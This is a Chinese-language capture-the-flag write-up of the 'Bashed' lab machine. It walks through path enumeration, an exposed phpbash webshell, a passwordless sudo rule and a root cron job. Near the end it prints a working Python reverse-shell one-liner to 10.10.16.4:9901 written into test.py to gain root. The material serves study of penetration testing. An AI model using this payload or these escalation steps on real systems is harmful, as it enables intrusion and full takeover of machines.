Bashed-Writeup

概述 (Overview)

Author: 0x584A

48624076.png

攻击链 (Kiillchain)

50186096.png

TTPs (Tactics, Techniques & Procedures)

  • nmapAutomator.sh
  • gobuster
  • sudo
  • pspy

阶段1:枚举

通过前期的 nmap 扫描发现开放了 22、80 端口,浏览器访问后为一个博客站。

44384618.png

根据内容提示,站点可能使用了phpbash,它是一个Web版的命令行操作台(官方webshell?)。

44400837.png

https://github.com/Arrexel/phpbash

访问默认路径显示404,使用gobuster枚举一遍路径:

44538421.png

/dev 路径下找到了 phpbash.php

44552595.png

44569509.png

阶段2:工具及利用

阶段2.1:用phpbash.php实现NC反连上线

直接在 phpbash.php 里运行NC反连拿到一个bash。

44744294.png

查看下有哪些用户可以登录服务器。

45087550.png

48126886.png

阶段2.2:不安全的sudo配置

发现用户:root、scriptmanager、arrexel,具备登录。尝试下 sudo -l,看看当前用户具备哪些特权命令。

45200060.png

可以发现配置中用sudo切 scriptmanager 用户时不需要验证密码。直接$ sudo -u scriptmanager bash 即可。

47738815.png

阶段3:权限提升

在搜索 scriptmanager 用户组文件时,发现可疑的 /scripts,提示没有权限。

47539405.png

进一步确认:

47646853.png

scriptmanager 对 test.py 具有权限,看了下内容,脚本会向test.txt写入testing 123!字符串。

47837032.png

观察了下 test.txt 文件的时间每分钟都在更新,怀疑有 root 身份的定时脚本在执行 test.py脚本。

52964206.png

传了一个 pspy,用它来监听下进程(pspy是一种命令行工具,无需root权限即可监听进程。可以查看其他用户执行的命令、cron作业等)。

$ ./pspy64 -pf -i 1000

53345175.png

果然,UID=0也就是root,会定时执行 /scripts 内的python脚本。

接下来就简单了,在目录下新建一个反弹脚本就好,我这里就直接写到 test.py 目录里了。

echo 'import sys,socket,os,pty;s=socket.socket();s.connect(("10.10.16.4",9901));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")' > test.py

54212348.png

54463027.png

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。